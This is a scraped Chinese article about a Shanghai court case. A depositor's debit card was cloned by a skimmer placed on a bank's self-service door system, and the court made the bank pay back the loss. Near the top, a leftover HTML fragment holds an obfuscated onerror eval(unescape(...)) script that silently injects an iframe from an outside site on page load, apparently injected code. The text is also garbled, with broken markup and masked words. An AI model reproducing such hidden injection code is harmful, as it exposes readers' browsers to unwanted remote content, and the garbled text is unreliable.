储户xxx内万元存款被窃 谁该为此买单

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zh_160_600.html%20frameBorder%3D0%20width%3D160%20scrolling%3Dno%20height%3D600%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml1%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">

　　储户顾骏发现其在交通银行（爱股,行情,资讯）上海分行办理的太平洋（爱股,行情,资讯）借记卡内存款无端损失人民币10068元，随即报案。公安机关侦破了该案，得出的结论是：罗淦、陈秋哲将盗码器安装在自助银行的门禁系统上，窃取了顾骏的银行借记卡磁条信息及密码，并伪造借记卡后在ATM机上提现。

　　那么谁该为此买单呢？

　　顾骏认为，银行难辞其咎。他在诉讼中提出：其与银行构成储蓄合同关系；犯罪分子的手段方法，是利用了自助银行管理上的疏漏，自己在整个过程中没有过错，请求法院判决银行赔付存款及利息。被告交通银行上海分行则不予认可，认为顾骏没有尽到避免风险的义务，致使犯罪分子乘机xx存款，而银行本身没有过错，不应承担赔偿责任。

　　上海市第二中级人民法院开庭审理了该案，庭审中查明双方仅对由谁承担损失主张不同，同时还查明，罗淦、陈秋哲以同样手法作案多起，归案后被追缴的赃款仅为人民币6000元(尚未发还)，顾骏表示对此款不主张权利。据此，法院认为：本案中储蓄合同关系成立；储户和银行都有保障交易安全的义务，相对而言银行更能控制和避免风险，其注意义务应当甚于储户，但被告没有设置风险防范提示，致使储户难以识别盗码器，从而使犯罪分子有机可乘；同时，银行没有针对自助银行的特点采取必要的防范措施，以致盗码器得以安装并在较长时间内未被察觉、去除，直接导致顾俊银行借记卡磁条信息和密码被盗，存款损失；另，顾骏既没有将借记卡交由他人保管使用，也没有泄露任何信息，且在发现钱款被盗后马上报警，及时避免了损失扩大，在本案中没有过错。故法院支持顾俊的诉求，判决交通银行上海分行赔偿存款及利息损失。

　　我们从这个案件中也许可以得到如下启发：

　　一、开通自助银行使储户免去了排队填单、耗费时间之苦，但在提供便利的同时，如何保证储户的财产安全，是需要认真面对和解决的重大挑战。提供便利，能够促进业务；保证安全，才能留住储户。中国是储蓄大国，人民群众有储蓄盈余的习惯。所以，银行更应当提醒储户注意交易安全，给不同的客户以不同帮助，使其了解、掌握应对风险的方法。银行要特别管理好自动取款机，比如安装监控，开发针对不法安装、破坏的报警系统等等，这样，一些高科技犯罪手段就难以作乱，很难想象xx器居然会轻易地安装在银行的门禁系统上，而且居然长时间未被察觉、去除，这需要从责任心和技术上找找原因。

　　二、储户一定要对自己的权益负责，要像顾骏先生那样，不要随意将包括xxx在内的各种支付凭证交由他人保管使用，不要信口泄露号码密码等各种信息，发现意外要马上通知银行或报警，避免损失扩大。不要忘了，任何由于自身过错造成的损失，都应由自己承担。

　　三、要选择合法的、{zj0}的方式，有效维护自己的权益。本案中，顾骏先生作为受损方，在诉讼中不对金额不足以抵偿损失的赃款主张权利，而是直接要求银行赔偿，有效地追回损失，值得大家借鉴。作为被告，似乎更应考虑以调解方式解决纷争，这既是直面自身疏忽、敢于负责的态度，也是珍视储户感受，节省司法资源，促进社会和谐之举。